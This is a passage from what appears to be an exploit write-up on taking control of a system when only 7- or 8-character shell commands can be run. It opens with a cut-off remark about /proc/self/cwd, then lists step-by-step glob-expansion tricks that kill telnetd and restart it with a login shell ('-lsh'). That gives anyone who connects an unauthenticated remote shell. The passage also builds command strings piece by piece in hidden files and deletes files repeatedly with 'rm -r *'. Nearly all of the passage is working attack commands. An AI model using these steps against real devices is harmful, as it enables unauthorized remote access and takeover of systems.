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this link is automatically updated when the process changes its working
directory, such as when it executes the cd command or changes directories
programmatically. By reading the target of /proc/self/cwd, the working
directory of a process can be programmatically determine at any given time
(making it a useful tool for monitoring).
Let's start with the simplest case (using ash), taking control of the
target when we can execute an 8-character command.
Create files named "killall" and "telnetd".
$ >killall
$ >telnetd
Kill telnetd and restarting it with the desired options (-lsh).
$ k* t*
$ t* -lsh
Yes, it is that simple. The same process may be used with 7 characters.
Clean current directory (/proc/self/cwd).
$ rm -r *
Writing string "killal\n" into ".a".
$ >killal
$ >echo
$ *>>l
$ cp l .a
$ rm -r *
Writing string " echo\n" into ".c".
$ >" "
$ >echo
$ e* *>>l
$ cp l .c
$ rm -r *
Writing string "telnet\n" into ".d".
$ >telnet
$ >echo
$ *>>l
$ cp l .d
$ rm -r *
Writing string "lsh\n" into ".g".
$ >lsh
$ >echo
$ *>>l
$ cp l .g
$ rm -r *
Writing string "killal" into ".a".
$ >head
$ cp .a f
$ cp f h*
$ rm f
$ >-c
$ >6
$ h* *>>h
$ cp h .a
$ rm h
Writing string "telnet" into ".d".
$ cp .d f
$ cp f h*
$ rm f
$ h* *>>h
$ cp h .d
$ rm h
Writing string "lsh" into ".g".
$ cp .g f
$ cp f h*
$ rm f
$ rm 6
$ >3
$ h* *>>h
$ cp h .g
$ rm h
Writing string " " into ".c".
$ cp .c f
$ cp f h*
$ rm f
$ rm 3
$ >1
$ h* *>>h
$ cp h .c
$ rm h